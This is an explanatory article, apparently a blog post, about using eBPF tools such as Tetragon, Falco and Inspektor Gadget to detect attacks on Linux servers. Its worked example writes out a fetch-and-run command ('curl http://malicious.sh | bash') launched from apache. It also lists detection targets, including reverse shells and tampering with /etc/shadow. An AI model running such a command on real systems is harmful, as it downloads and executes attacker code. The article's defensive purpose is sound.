The attack surface in Linux environments has expanded. With the rise of containers, decentralized workloads, and microservices running on bare-metal or in the cloud, traditional monitoring and security methods have fallen behind. Logs are slow. External agents have limited visibility. And by the time detection happens, the damage is often already done.
In this context, Security Observability with eBPF emerges as a powerful approach for deep — not just system-level, but security-level — visibility directly within the Linux kernel.
Kernel as the Source of Truth: eBPF in Practice
eBPF (Extended Berkeley Packet Filter) is a technology that allows for safe, dynamic execution of code in the kernel space with minimal performance impact. This means you can observe system calls, executions, file accesses, and network connections in real time, without rebooting the system or modifying application code.
This level of visibility introduces a new layer of security monitoring: not after an attack, but as it’s happening, at the exact point of execution.
Beyond Logs: Why Traditional Methods Fail
Tools like auditd, syslog, or psacct collect valuable information, but they have serious limitations:
- They are reactive — analyzing events after they occur.
- They lack full context (e.g., which parent process triggered the event? What parameters were passed?).
- They offer limited visibility in containerized or overlay network environments.
With eBPF, everything changes. Instrumentation occurs directly at the syscall level — execve, open, connect, setuid, write, and others. Every suspicious behavior can be intercepted, analyzed, and correlated with identity, location, and intent.
What You Can See with eBPF Enabled
By implementing security observability with eBPF, teams can detect scenarios like:
- Unusual command executions (e.g.,
curl,nc,python) by web services or unexpected processes. - Opening network ports or reverse shells by processes that shouldn’t initiate external communication.
- Modifications to sensitive files, such as
/etc/passwd,/etc/shadow, or system binaries. - Privilege escalations involving
setuid, improper use ofsudo, or exploitation of SUID bits. - Behavioral deviations from the baseline, like
nginxstarting download or script execution processes.
eBPF-Based Security Tools for Linux
Several tools have made this deep visibility accessible and operational, even at scale:
Tetragon (by Cilium)
- Process, network, and privilege escalation instrumentation
- Supports bare-metal and Kubernetes
- Event export to SIEMs and native observability stacks
Falco
- Anomaly detection using custom rules
- Lightweight and easy to deploy on any distro
- Deep visibility even on hosts running multiple containers
Inspektor Gadget
- Process behavior inspection and debugging
- Ideal for hybrid environments and DevSecOps teams validating security in the application lifecycle
Integrating with the Observability Ecosystem
The power of this approach also lies in its integration capabilities. eBPF-captured events can be exported to:
- Grafana + Prometheus: for security metrics and alerting
- Loki or Elasticsearch: for real-time log storage and analysis
- SIEMs like Splunk, Microsoft Sentinel, or IBM QRadar
- OpenTelemetry: for correlation across traces, logs, and metrics in contextual investigations
This enables security teams to work with the same data as observability teams, reducing response time and improving situational clarity.
Real-World Example: Attack Intercepted with eBPF
In a Linux environment hosting a web application:
- The
apacheprocess executes:curl http://malicious.sh | bash - A remote script changes permissions, creates users, and opens an unauthorized port.
With eBPF observability:
- The execution of
bashis intercepted at the syscall level. - The network call and permission change are captured.
- The event is fully correlated with UID, parent process (
apache), remote IP, and executed binary.
All in real time, before the attacker establishes persistence.
Conclusion
The combination of eBPF and modern security observability practices marks a new era for Linux server security: closer to the system, faster in response, and richer in context.
It’s not about replacing traditional tools, but bridging the gap between visibility and action, enabling teams to detect and respond to threats exactly where they occur — in the kernel.
With Linux servers at the heart of critical applications, anomaly detection powered by eBPF is one of the most accessible and impactful security models today.
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